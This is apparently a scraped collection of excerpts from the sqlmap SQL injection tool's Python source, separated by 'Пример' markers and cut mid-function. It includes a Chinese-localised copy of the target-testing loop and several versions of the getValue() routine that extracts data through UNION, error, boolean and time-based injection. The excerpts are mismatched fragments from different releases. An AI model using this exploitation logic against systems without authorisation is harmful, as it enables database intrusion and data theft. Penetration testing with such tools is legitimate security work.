                                        msg += u"很容易受到攻击,你想继续测试其他的参数吗(如果有的话)? [y/N] "

                                        if not readInput(msg,
                                                         default='N',
                                                         boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname,
                                                        conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = u"%s参数'%s'似乎不能注入 " % (paramType,
                                                                    parameter)
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1
                                           and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = u"在提供的数据中没有找到用于测试的参数"
                    errMsg += u"(例如 www.site.com/index.php?id=1 中的GET参数'id')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = u"所有测试参数似乎都不可注入,"

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += u"尝试增加'--level'/'--risk'值进行更多测试,"

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += u"重新运行不提供选项“--technique”"

                    if not conf.textOnly and kb.originalPage:
                        percent = (
                            100.0 *
                            len(getFilteredPageContent(kb.originalPage)) /
                            len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += u"如果目标页面的文本内容比例很低"
                            # Python输出两位小数的百分数
                            # 由于%在string format中是特殊符号,所以使用%%才输出%
                            errMsg += u"(页面内容的~%.2f%%是文本)则可以使用'--text-only'来切换" % percent
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            # 当页面文本内容小于20%时
                            errMsg += u"请使用选项'--text-only'(连同 --technique=BU)重试"
                            errMsg += u"因为这种情况看起来是一个完美的备用计划"
                            errMsg += u"(文本内容较少,以及比较引擎无法检测到至少一个动态参数)"

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += u"从启发式测试结果来看,还是有希望的,"
                        errMsg += u"强烈建议您继续进行测试,"
                        errMsg += u"请考虑使用tamper脚本,因为您的目标可能会过滤查询,"

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += u"此外,您可以尝试通过提供选项'--string'"
                        errMsg += u"(或'--regexp')的有效值来重新运行,"
                    elif conf.string:
                        errMsg += u"此外,您可以尝试通过提供'--string'选项的有效值来重新运行,"
                        errMsg += u"也许您选择的字符串不完全匹配True响应"
                    elif conf.regexp:
                        errMsg += u"此外,您可以尝试通过为选项'--regexp'提供有效值来重新运行,"
                        errMsg += u"也许您所选择的正则表达式不完全匹配True响应"

                    if not conf.tamper:
                        errMsg += u"如果您怀疑有某种保护机制(例如 WAF),\r\n您可以使用选项'--tamper'重试 "
                        errMsg += u"(例如 '--tamper=space2comment')"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = u"你想利用这个SQL注入吗? [Y/n] "
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = u"用户在多目标模式下中止"
                logger.warn(warnMsg)

                message = u"你想跳到列表中的下一个目标吗? [Y/n/q]"
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += u", 跳到下一个%s" % ("form" if conf.forms else "URL")
                logger.error(errMsg.lstrip(", "))
            else:
                logger.critical(errMsg)
                return False

        finally:
Пример #44
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
            conf.url = targetUrl
            conf.method = targetMethod.upper(
            ) if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any(
                [conf.data, conf.testParameter]):
                for parameter in re.findall(
                        r"([^=]+)=([^%s]+%s?|\Z)" %
                    (re.escape(conf.paramDel or "") or
                     DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
                     or DEFAULT_GET_POST_DELIMITER),
                        conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET,
                                parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"
                    kb.skipVulnHost = readInput(message,
                                                default="Y").upper() != 'N'
                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms:
                    message = "[#%d] form:\n%s %s" % (
                        hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
                else:
                    message = "URL %d:\n%s %s%s" % (
                        hostCount, HTTPMETHOD.GET, targetUrl,
                        " (PageRank: %s)" % get_pagerank(targetUrl)
                        if conf.googleDork and conf.pageRank else "")

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % (
                        (conf.method if conf.method != HTTPMETHOD.GET
                         else conf.method) or HTTPMETHOD.POST,
                        urlencode(conf.data) if conf.data else "")

                if conf.forms:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(
                            "?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (
                                conf.method,
                                urlencode(conf.data) if conf.data else "None",
                                " (Warning: blank fields detected)"
                                if conf.data and extractRegexResult(
                                    EMPTY_FORM_FIELDS_REGEX, conf.data) else
                                "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(
                                conf.data) if conf.data and urlencode(
                                    DEFAULT_GET_POST_DELIMITER,
                                    None) not in conf.data else conf.data

                        else:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") +
                                                       1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                    elif test[0] in ("n", "N"):
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    test = readInput(message, default="Y")

                    if not test or test[0] in ("y", "Y"):
                        pass
                    elif test[0] in ("n", "N"):
                        dataToStdout(os.linesep)
                        continue
                    elif test[0] in ("q", "Q"):
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms
                                   ) or not checkString() or not checkRegexp():
                continue

            checkWaf()

            if conf.identifyWaf:
                identifyWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any(
                    (conf.string, conf.notString,
                     conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = conf.parameters.keys()

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
                             PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(
                        PLACE.COOKIE, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(
                        USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(
                        REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(
                        HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect(
                        (PLACE.COOKIE, ), conf.testParameter, True))

                    if skip:
                        continue

                    if kb.testOnlyCustom and place not in (
                            PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (
                        None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %s parameter '%s'" % (
                                paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %s parameter '%s'" % (
                                paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (
                                paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter == conf.csrfToken:
                            testSqlInj = False

                            infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (
                                parameter.upper() in IGNORE_PARAMETERS
                                or parameter.upper().startswith(
                                    GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (
                                paramType, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear dynamic" % (
                                    paramType, parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = "skipping static %s parameter '%s'" % (
                                        paramType, parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (
                                    paramType, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(
                                    place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (
                                            kb.ignoreCasted and check
                                            == HEURISTIC_TEST.CASTED):
                                        infoMsg = "skipping %s parameter '%s'" % (
                                            paramType, parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = "testing for SQL injection on %s " % paramType
                                infoMsg += "parameter '%s'" % parameter
                                logger.info(infoMsg)

                                injection = checkSqlInjection(
                                    place, parameter, value)
                                proceed = not kb.endDetection

                                if injection is not None and injection.place is not None:
                                    kb.injections.append(injection)

                                    # In case when user wants to end detection phase (Ctrl+C)
                                    if not proceed:
                                        break

                                    msg = "%s parameter '%s' " % (
                                        injection.place, injection.parameter)
                                    msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
                                    test = readInput(msg, default="N")

                                    if test[0] not in ("y", "Y"):
                                        proceed = False
                                        paramKey = (conf.hostname, conf.path,
                                                    None, None)
                                        kb.testedParams.add(paramKey)
                                else:
                                    warnMsg = "%s parameter '%s' is not " % (
                                        paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1
                                           and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters appear to be not injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase '--level'/'--risk' values "
                        errMsg += "to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (
                            100.0 *
                            len(getFilteredPageContent(kb.originalPage)) /
                            len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests. "
                        errMsg += "Please, consider usage of tampering scripts as "
                        errMsg += "your target might filter the queries."

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
                        errMsg += "(or '--regexp')"
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses"
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses"

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could retry "
                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"

                    raise SqlmapNotVulnerableException(errMsg)
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = readInput(message, default="Y")

                    condition = not exploit or exploit[0] in ("y", "Y")
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    pass
                elif test[0] in ("n", "N"):
                    return False
                elif test[0] in ("q", "Q"):
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getUnicode(ex.message)

            if conf.multipleTargets:
                errMsg += ", skipping to the next %s" % ("form" if conf.forms
                                                         else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
Пример #45
0
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """

    if conf.hexConvert:
        charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.upper().startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

        elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

            if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
                query = query.replace("DISTINCT ", "")

            if not conf.forceDns:
                if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    kb.technique = PAYLOAD.TECHNIQUE.UNION
                    kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
                    fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion

                    try:
                        value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
                    except SqlmapConnectionException:
                        if not fallback:
                            raise

                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                    if not found and fallback:
                        warnMsg = "something went wrong with full UNION "
                        warnMsg += "technique (could be because of "
                        warnMsg += "limitation on retrieved number of entries)"
                        if " FROM " in query.upper():
                            warnMsg += ". Falling back to partial UNION technique"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                pushValue(kb.forcePartialUnion)
                                kb.forcePartialUnion = True
                                value = _goUnion(query, unpack, dump)
                                found = (value is not None) or (value is None and expectingNone)
                            finally:
                                kb.forcePartialUnion = popValue()
                        else:
                            singleTimeWarnMessage(warnMsg)

                if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
                    kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
                    value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
                    _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
                    singleTimeWarnMessage(warnMsg)

            if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)

                count += 1
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = _goBooleanProxy(booleanExpression)
                else:
                    value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise SqlmapNotVulnerableException(errMsg)

    finally:
        kb.resumeValues = True
        kb.responseTimeMode = None

        conf.tbl = popValue()
        conf.db = popValue()

        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    kb.safeCharEncode = False

    if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' "
        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
        singleTimeWarnMessage(warnMsg)

    return extractExpectedValue(value, expected)
Пример #46
0
def getValue(expression,
             blind=True,
             inband=True,
             error=True,
             time=True,
             fromUser=False,
             expected=None,
             batch=False,
             unpack=True,
             sort=True,
             resumeValue=True,
             charsetType=None,
             firstChar=None,
             lastChar=None,
             dump=False,
             suppressOutput=None,
             expectingNone=False,
             safeHexEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        if conf.direct:
            value = direct(expression)

        elif any(
                map(isTechniqueAvailable,
                    getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False

            if query and not 'COUNT(*)' in query:
                query = query.replace("DISTINCT ", "")

            count = 0

            if expected == EXPECTED.BOOL:
                forgeCaseExpression = booleanExpression = expression

                if expression.upper().startswith("SELECT "):
                    booleanExpression = expression[len("SELECT "):]
                else:
                    forgeCaseExpression = agent.forgeCaseStatement(expression)

            if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                kb.technique = PAYLOAD.TECHNIQUE.UNION

                if expected == EXPECTED.BOOL:
                    value = __goInband(forgeCaseExpression, expected, sort,
                                       resumeValue, unpack, dump)
                else:
                    value = __goInband(query, expected, sort, resumeValue,
                                       unpack, dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if error and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.ERROR) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.ERROR

                if expected == EXPECTED.BOOL:
                    value = __goError(forgeCaseExpression, expected,
                                      resumeValue, dump)
                else:
                    value = __goError(query, expected, resumeValue, dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if blind and isTechniqueAvailable(
                    PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
                kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression, resumeValue)
                else:
                    value = __goInferenceProxy(query, fromUser, expected,
                                               batch, resumeValue, unpack,
                                               charsetType, firstChar,
                                               lastChar, dump)

                count += 1
                found = (value is not None) or (
                    value is None
                    and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME)
                         or isTechniqueAvailable(
                             PAYLOAD.TECHNIQUE.STACKED)) and not found:
                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
                else:
                    kb.technique = PAYLOAD.TECHNIQUE.STACKED

                if expected == EXPECTED.BOOL:
                    value = __goBooleanProxy(booleanExpression, resumeValue)
                else:
                    value = __goInferenceProxy(query, fromUser, expected,
                                               batch, resumeValue, unpack,
                                               charsetType, firstChar,
                                               lastChar, dump)

            if value and isinstance(value, basestring):
                value = value.strip()
        else:
            errMsg = "none of the injection types identified can be "
            errMsg += "leveraged to retrieve queries output"
            raise sqlmapNotVulnerableException, errMsg

    finally:
        if suppressOutput is not None:
            getCurrentThreadData().disableStdOut = popValue()

    if value and expected == EXPECTED.BOOL:
        if isinstance(value, basestring):
            value = value.strip().lower()
            if value in ("true", "false"):
                value = bool(value)
            elif value in ("1", "-1"):
                value = True
            elif value == "0":
                value = False
            else:
                value = None
        elif isinstance(value, int):
            value = bool(value)
        elif value == [None]:
            value = None

    if safeHexEncode:
        value = safehexencode(value)

    return value
Пример #47
0
            kb.pageCompress = False

            if kb.nullConnection == NULLCONNECTION.HEAD:
                method = HTTPMETHOD.HEAD
            elif kb.nullConnection == NULLCONNECTION.RANGE:
                auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"

            _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))

            if headers:
                if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers:
                    pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
                elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
                    pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])

            kb.pageCompress = popValue()

        if not pageLength:
            try:
                page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
            except MemoryError:
                page, headers, code = None, None, None
                warnMsg = "site returned insanely large response"
                if kb.testMode:
                    warnMsg += " in testing phase. This is a common "
                    warnMsg += "behavior in custom WAF/IDS/IPS solutions"
                singleTimeWarnMessage(warnMsg)

        if conf.secondOrder:
            page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
Пример #48
0
def getValue(expression,
             blind=True,
             union=True,
             error=True,
             time=True,
             fromUser=False,
             expected=None,
             batch=False,
             unpack=True,
             resumeValue=True,
             charsetType=None,
             firstChar=None,
             lastChar=None,
             dump=False,
             suppressOutput=None,
             expectingNone=False,
             safeCharEncode=True):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter.
    """

    if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(
    ):
        if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"):
            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms(
            )
            singleTimeWarnMessage(warnMsg)
            conf.hexConvert = False
        else:
            charsetType = CHARSET_TYPE.HEXADECIMAL

    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

    for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
        expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword,
                            r"\g<1>%s\g<2>" % keyword, expression)

    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput

    try:
        pushValue(conf.db)
        pushValue(conf.tbl)

        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

            if expression.startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression,
                                                 "'1'" if "'1'"
                                                 in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)

        if conf.direct:
            value = direct(forgeCaseExpression if expected ==
                           EXPECTED.BOOL else expression)

        elif any(
                isTechniqueAvailable(_)
                for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE,
                                              onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
            found = False
            count = 0

